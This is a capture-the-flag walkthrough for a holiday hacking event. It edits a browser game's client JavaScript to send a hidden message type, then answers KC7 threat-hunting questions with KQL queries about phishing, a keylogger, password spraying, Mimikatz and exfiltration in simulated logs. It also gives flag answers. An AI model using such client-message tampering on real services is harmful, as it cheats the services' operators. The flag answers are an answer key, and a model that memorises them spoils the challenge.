The walkthrough for Silver more straightforward. It helps to read through the code to understand what is going on. If you've attempted to play the game manually, you may have noticed it's near impossible to win on your own. All of the computer characters seem to luck out and throw snowballs that only reach the top of the screen. There's also an ice wall in between the two teams. Perhaps we can move this ice wall to block the opponent's snowballs and win.

Code Edits

The first 48 lines of the preload() function - lines 48-80 - give a good idea of the objects within the game. Line 56 mentions an ice_wall. Edit lines 1755 and 1756, changing the value after GAME_HEIGHT from 250 to 750.

this.createObjectCenteredAtXOnCanvas(this.bgcanvas, 'ice_wall', GAME_WIDTH / 2, GAME_HEIGHT - 750, 0.35, 1);
        this.createObjectCenteredAtXOnCanvas(this.bgcanvasBackup, 'ice_wall', GAME_WIDTH / 2, GAME_HEIGHT - 750, 0.35, 1);

Be sure to save the changes in the code editor. Refresh the browser. This raises the ice wall up in the air!

Play the Game

Take a break from your hard source code analysis, and throw snowballs at Wombley. Feel free to even cross onto the other team's side. The ice should block most/all snowballs from your adversary, making it easy for Team Alabaster to score more hits than Team Wombley.

Gold

Back to the Code...

Revisit the locally edited code, analyzing the first 48 lines of the preload() function like for Silver. On lines 69-72 there's a mention of a "bomber", along with the phrase "MOASB". Those lines specifically reference image files, which can be viewed to understand the game functionality. It would appear there's a SECRET WEAPON of a plane which drops a snowball bomb.

Whatsa MOASB?

Continue to analyze the source code, looking for references to the bomber. Line 420 is interesting:

this.moasb = () => { this.ws.sendMessage({ type: 'moasb' }) };

However, it doesn't appear to be called anywhere else within the code base. Perhaps we could use this code and copy the function elsewhere...

Snowball Functionality

Further down within the code, starting on line 1289 within the calcSnowballTrajectory() function is a reference to a literal snowball object (pun intended).

let snowball = {
                "type": "snowballp",
                "x": snowBallPosition.x,
                "y": snowBallPosition.y,
                "owner": this.player1.playerId,
                "isWomb": this.player1.isWomb,
                "blastRadius": this.snowBallBlastRadius,
                "velocityX": velocityX,
                "velocityY": velocityY
            };
            this.ws.sendMessage(snowball);

Reading the preceding code within the function, including the comments, the function appears to perform a bunch of complex calculations pertaining to speed, arch and position within the game. The specific snowball object collects the values of those calculations to then "throw" the snowball, in the form of a sendMessage(snowball). Change the last line of code, that rather than sending the snowball object in the message, we send a message type of moasb, this.ws.sendMessage({ type: 'moasb' });

Save the local file, and refresh the game page. Start the game, Click the left cursor of the mouse to attempt to throw a snowball. Nothing happens... But wait... What's that?!?!? Off in the distance?!?! Is it?!?! No it can't be!!! It's a snowball Bomber, with a MOASB! The bomb drops, and destroys Wombley - with a triumphant YIPPY KI-YAY MOTHER FROSTER!

GLORYYY! Objective complete!

Objective: Microsoft KC7

This challenge requires you to register for an account on the KC7 website. To solve the objectives, you need to answer two and four of the questions within the Objective toolbar. You play the game by following the prompts/questions, entering the value into the text box and clicking Submit. Keep an eye out on the Section Number above each question. The last answer to each "Section" in the KC7 website is the flag value in the Holiday Hack Challenge Objectives toolbar. I specified in the question header below if the answer corresponds to a flag value.

KC7 Questions

Question 1

Answer is simple: let's do this. Type the value in, and after every asnwer, be sure to hit the Submit button.

Question 2

This question is intended to familiarize the user with the GUI. Look at the Available Tables and look at a few of the rows of each table. You're not required to, but will likely be helpful to familiarize yourself with the data.

List of Tables which appears

Answer: when in doubt take 10

Question 3

Determine the number of employees by entering the query: Employees | Count

Answer: 90

Question 4

What's the name of the "Chief Elf Officer"? Run Employees | where role=='Chief Elf Officer', and find out!

Answer: Shinny Upatree

Question 5

Enter the value operator as the anwer to proceed to the next question.

Question 6

First multi-query we need:

Employees | where name=='Angel Candysalt' | project email_addr

Returns Angel's e-mail address: angel_candysalt@santaworkshopgeeseislands.org

Which can be used in a separate query: angel_candysalt@santaworkshopgeeseislands.org

Email | where recipient == "angel_candysalt@santaworkshopgeeseislands.org" | count

Answer: 31

Question 7

Determine the number of distinct recipients of an e-mail from twinkle_frostington@santaworkshopgeeseislands.org.

Email | where sender == "twinkle_frostington@santaworkshopgeeseislands.org" | distinct recipient | count

Answer: 32

Question 8

Queries

# Get Twinkle's IP Address
Employees | where name == "Twinkle Frostington" | project ip_addr

# Get Number of distinct websites
OutboundNetworkEvents | where src_ip == "10.10.0.36" | count

Answer: 4

Question 9

Determine the number of DNS domains which have green in the name: PassiveDns| where domain contains "green" | distinct domain | count

Answer: 10

Question 10 - HHC Flag - KQL 101

Determine the number of DNS Queries users who have Twinkle in their name made.

It's important to note, if you receive an X ERROR - No tabluar expression statement found clientRequestId: Kusto Web.KWE.Query... - remove the whitespace/new lines between the values where you set the variable, and run the query.
let twinkle = Employees| where name has "Twinkle" | distinct ip_addr;
OutboundNetworkEvents| where src_ip in (twinkle) | distinct url | count

Answer: 8

Be sure to enter the answer BOTH on the KC7 website, as well as back in the HHC Game under the Operation Surrender text box in the Objectives tab of your toolbar.

Question 11

An easy one again. Answer: surrender

Question 12

The investigation begins into the phishing attack. There was an email with the phrase "surrender" in the subject, urging Wombley's members to click on a link.

Email | where subject contains "surrender" | distinct sender

Answer: surrender@northpolemail.com

Question 13

Determine how many elves received the phishing e-mail. We need to ensure there are no duplicate e-mails sent to the same user.

Email | where subject contains "surrender"  | distinct recipient | count

Answer:22

Question 14

Determine the name of the filename distributed in the phishing campaign.

Email | where subject contains "surrender" | distinct link

Answer: Team_Wombley_Surrender.doc

Question 15

Determine the first employee to click the link - joining Employees and OutboundNetworkEvents table. Join the tables based on the Employee's assigned IP Address matching the Network Event's table's source IP Address. Filter the results to only display network events which have the name of the malicious file, and only display the Employee, their IP address, the URL and the timestamp in which the network event occured.

Employees
| join kind=inner (
    OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, hostname, timestamp // project returns only the information you select
| sort by timestamp asc //sorts time ascending

Answer: Joyelle Tinseltoe - who clicked on the link at approximately 11/27/2024 at 14:11:45 UTC from the computer with a hostname of Elf-Lap-W-Tinseltoe.

Question 16

Investigate the processes executed on Joyelle's computer. Look at the processes, setting an a window of 2 hours after the file was downloaded.

ProcessEvents
| where timestamp between(datetime("2024-11-27T14:11:45Z") .. datetime("2024-11-27T16:11:45Z"))
| where hostname == "Elf-Lap-W-Tinseltoe"
| sort by timestamp asc

Answer: keylogger.exe

Looking at the other commands run within the query, it appears the Word document was downloaded twice, which triggered installing the keylogger.exe. Shortly after which, a scheduled task was run to have the keylogger run as SYSTEM, and an encoded PowerShell command.

Question 17 - HHC FLAG - Operation Surrender

This question summarizes the findings of the past 6 questions. Take the previous answer, and enter it into the command to base64 encode the value. Be sure to enter the answer BOTH on the KC7 website, as well as back in the HHC Game under the Operation Surrender text box in the Objectives tab of your toolbar.

let flag = "keylogger.exe";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded

Answer: a2V5bG9nZ2VyLmV4ZQ==

Question 18

They start ya off easy...

Answer: snowfall

Question 19

Wombley attempted a password spray within the environment. What was the IP Address associated with the password spray? One IP in particular stands out:

AuthenticationEvents
| where result == "Failed Login"
| summarize FailedAttempts = count() by src_ip, result
| where FailedAttempts >= 5
| sort by FailedAttempts desc

Answer: 59.171.58.12

Question 20

Determine the number of unique accounts which had a successful login.

AuthenticationEvents
| where result == "Successful Login" and src_ip == "59.171.58.12"
| distinct username
| count

Answer: 23

Question 21

A remote service was leveraged to gain control of the devices. Determine the remote service which was externally accessible. Look at the description in the AuthenticationEvents table.

AuthenticationEvents
| where result == "Successful Login" and src_ip == "59.171.58.12"
| distinct description

Answer: RDP

Question 22

Analyze the ProcessEvents table to determine what file was exfiltrated from Alabaster's laptop. Use the succussful login attempt from the known mailicious IP address as the start time by which to look at the ProcessEvents table, specifically focusing on Alabaster's computer.

// let logintime = AuthenticationEvents | where result == "Successful Login" and src_ip == "59.171.58.12" and hostname in (computer) | project timestamp;
ProcessEvents | where hostname in (computer) | where timestamp between(datetime("2024-12-11T01:39:50Z") .. datetime("2024-12-30T01:39:50Z")) | sort by timestamp asc

There were 21 events between the login and Christmas Eve, The data exfiltration occurs on 12/16/2024 15:51:52 UTC, where a copy command copys a local zip file to a wocube file shar

Answer: Secret_Files.zip

Question 23

Use the query from the previous command to determine the name of the executable which encrypted everything on the system. There are multiple entries between 12/15/2024 14:52:13 UTC and 12/17/2024 10:40:12 UTC which show the downloading, and then execution of...

Answer: EncryptEverything.exe

Question 24 - HHC Flag - Operation Snowfall

Take the EncryptEverything.exe and base64 encode it for the answer.

Answer: RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl

Question 25

Answer; stay frosty to start the new section...

Question 26

Determine the timestamp of when Noel Boetie received e-mails about a security breach.

let noel_email = Employees| where name contains "Noel" | project email_addr;
Email | where recipient in (noel_email) and subject contains "breach" | sort by timestamp asc;

Answer: 2024-12-12T14:48:55Z

Question 27

The timestamp for when the link was clicked can be determined by looking at the OutboundNetworkEvents table, focused on Noel's IP address and the URL which was the same value as the Link in the Email.

let noel_comp = Employees| where name contains "Noel" | project ip_addr;
OutboundNetworkEvents| where url == "https://holidaybargainhunt.io/published/files/files/echo.exe" and src_ip in (noel_comp)

Answer: 2024-12-12T15:13:55Z

Question 28

The IP address of the Domain can be found on the PassiveDns table, using the domain in the email.

PassiveDns | where domain == 'holidaybargainhunt.io' | distinct ip

Answer: 182.56.23.122

Question 29

Investigate the AuthenticationEvents from the 182.56.23.122 external IP address to the local system. Provide the hostname of the system.

let susIPaddr = PassiveDns | where domain == 'holidaybargainhunt.io' | distinct ip;
AuthenticationEvents | where src_ip in (susIPaddr) | project hostname;

Answer: WebApp-ElvesWorkshop

Question 30

Investigate what the name of the script run to dump credentials. Use the victim hostname on the ProcessEvents table, along with the timestamp of the successful authentication from the suspicious IP address as an approximate start time for filtering all of the processes. The first command that displays is a powershell command which includes one of the most common PowerShell scripts used to dump credentials.

let susIPaddr = PassiveDns | where domain == 'holidaybargainhunt.io' | distinct ip;
let vitcimhost = AuthenticationEvents | where src_ip in (susIPaddr) | project hostname;
// let victim_datetime = AuthenticationEvents | where src_ip in (susIPaddr) | project timestamp;  // don't need to uncomment this, but this is the query used to produce the datetimestamp string for the next query
ProcessEvents | where hostname in (vitcimhost) and timestamp >= datetime('2024-11-29T12:25:03Z') | project process_commandline, timestamp | sort by timestamp asc

Answer: Invoke-Mimikatz.ps1

Question 31

Revisit Noel's computer and determine when the malicious file downloaded by Noel was run.

let noel_comp = Employees| where name contains "Noel" | project hostname;
ProcessEvents | where hostname in (noel_comp) and process_commandline contains "echo.exe"

Answer: 2024-12-12T15:14:38Z

Question 32

The domain that downloaded the holidaycandy.hta file.

OutboundNetworkEvents| where url contains "holidaycandy.hta" | distinct url

Answer: compromisedchristmastoys.com

Question 33

Determine what the first file that was created after the frosty.zip was unzipped. Use the previous timestamp as a filter.

let noel_comp = Employees| where name contains "Noel" | project hostname;
ProcessEvents | where hostname in (noel_comp) and timestamp >= datetime('2024-12-12T15:14:38Z')

The second to last line specifies the unzipping of the file. The very last line in the query output displays a Registry entry specifying the executable.

Answer: sqlwriter.exe

Question 34

Use the same query from the previous command, and the same value. The answer lies in the -Name value of the New-ItemProperty cmdlet.

Answer: frosty

Question 35

Base64 encode frosty to get the answer: ZnJvc3R5

Act II Conclusion

That wraps up all the challenges for Act II! The finale - Act III - will drop on December 2nd, 2024 - with writeups allowed for dissemination starting 1 week later. I look forward to continuing the holiday fun - in the OFFICAL/ACTUAL Holiday season.